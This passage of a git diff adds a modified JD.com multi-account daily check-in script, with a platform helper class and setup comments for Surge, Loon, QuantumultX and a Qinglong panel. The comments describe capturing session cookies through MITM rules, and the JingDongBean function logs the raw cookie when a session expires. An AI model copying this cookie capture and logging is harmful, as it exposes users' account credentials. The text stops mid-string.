(this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_DailyBonus_Mod.js b/jd_DailyBonus_Mod.js new file mode 100644 index 0000000..131641c --- /dev/null +++ b/jd_DailyBonus_Mod.js @@ -0,0 +1,1965 @@ +/* +cron "14 0,9 * * *" jd_CheckCK.js, tag:京东多合一签到脚本修改版 + */ + +/************************* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +************************* +【 QX, Surge, Loon 说明 】 : +************************* + +初次使用时, app配置文件添加脚本配置, 并启用Mitm后: + +Safari浏览器打开登录 https://home.m.jd.com/myJd/newhome.action 点击"我的"页面 +或者使用旧版网址 https://bean.m.jd.com/bean/signIndex.action 点击签到并且出现签到日历 +如果通知获取Cookie成功, 则可以使用此签到脚本. 注: 请勿在京东APP内获取!!! + +获取京东金融签到Body说明: 正确添加脚本配置后, 进入"京东金融"APP, 在"首页"点击"签到"并签到一次, 待通知提示成功即可. + +由于cookie的有效性(经测试网页Cookie有效周期最长31天),如果脚本后续弹出cookie无效的通知,则需要重复上述步骤。 +签到脚本将在每天的凌晨0:05执行, 您可以修改执行时间。 因部分接口京豆限量领取, 建议调整为凌晨签到。 + +BoxJs或QX Gallery订阅地址: https://raw.githubusercontent.com/NobyDa/Script/master/NobyDa_BoxJs.json + +************************* +【 配置多京东账号签到说明 】 : +************************* + +正确配置QX、Surge、Loon后, 并使用此脚本获取"账号1"Cookie成功后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"获取即可; 账号3或以上同理. +注: 如需清除所有Cookie, 您可开启脚本内"DeleteCookie"选项 (第114行) + +************************* +【 JSbox, Node.js 说明 】 : +************************* + +开启抓包app后, Safari浏览器登录 https://home.m.jd.com/myJd/newhome.action 点击个人中心页面后, 返回抓包app搜索关键字 info/GetJDUserInfoUnion 复制请求头Cookie字段填入json串数据内即可 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ""; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + +/*以下样例为双账号("cookie"为必须,其他可选), 第一个账号仅包含Cookie, 第二个账号包含Cookie和金融签到Body: + +var OtherKey = `[{ + "cookie": "pt_key=xxx;pt_pin=yyy;" +}, { + "cookie": "pt_key=yyy;pt_pin=xxx;", + "jrBody": "reqData=xxx" +}]` + + 注1: 以上选项仅针对于JsBox或Node.js, 如果使用QX,Surge,Loon, 请使用脚本获取Cookie. + 注2: 多账号用户抓取"账号1"Cookie后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"抓取. + 注3: 如果使用Node.js, 需自行安装'request'模块. 例: npm install request -g + 注4: Node.js或JSbox环境下已配置数据持久化, 填写Cookie运行一次后, 后续更新脚本无需再次填写, 待Cookie失效后重新抓取填写即可. + 注5: 脚本将自动处理"持久化数据"和"手动填写cookie"之间的重复关系, 例如填写多个账号Cookie后, 后续其中一个失效, 仅需填写该失效账号的新Cookie即可, 其他账号不会被清除. + +************************* +【Surge 4.2+ 脚本配置】: +************************* + +[Script] +京东多合一签到 = type=cron,cronexp=5 0 * * *,wake-system=1,timeout=60,script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +获取京东Cookie = type=http-request,requires-body=1,pattern=^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?),script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【Loon 2.1+ 脚本配置】: +************************* + +[Script] +cron "5 0 * * *" tag=京东多合一签到, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +http-request ^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?) tag=获取京东Cookie, requires-body=true, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【 QX 1.0.10+ 脚本配置 】 : +************************* + +[task_local] +# 京东多合一签到 +5 0 * * * https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, tag=京东多合一签到, img-url=https://raw.githubusercontent.com/NobyDa/mini/master/Color/jd.png,enabled=true + +[rewrite_local] +# 获取京东Cookie. +^https:\/\/(api\.m|me-api)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +# 获取钢镚签到body. +^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\? url script-request-body https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[mitm] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +*************************/ + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + stop = '0'; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + //**ccwav Mod code + const { + getEnvs + } = require('./ql'); + const envs = await getEnvs(); + var strck=""; + var strck2=""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].status == 0) { + if (envs[i].value) { + strck = envs[i].value; + strck= (strck.match(/pt_pin=([^; ]+)(?=;?)/) && strck.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + strck2=decodeURIComponent(strck); + console.log("\n开始检测【京东账号"+(i+1)+"】"+strck2+`....\n`); + await all(envs[i].value, ""); + } + } + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function waitTime(t) { + return new Promise(s => setTimeout(s, t)) + } + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log(cc); + console.log(KEY); + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = 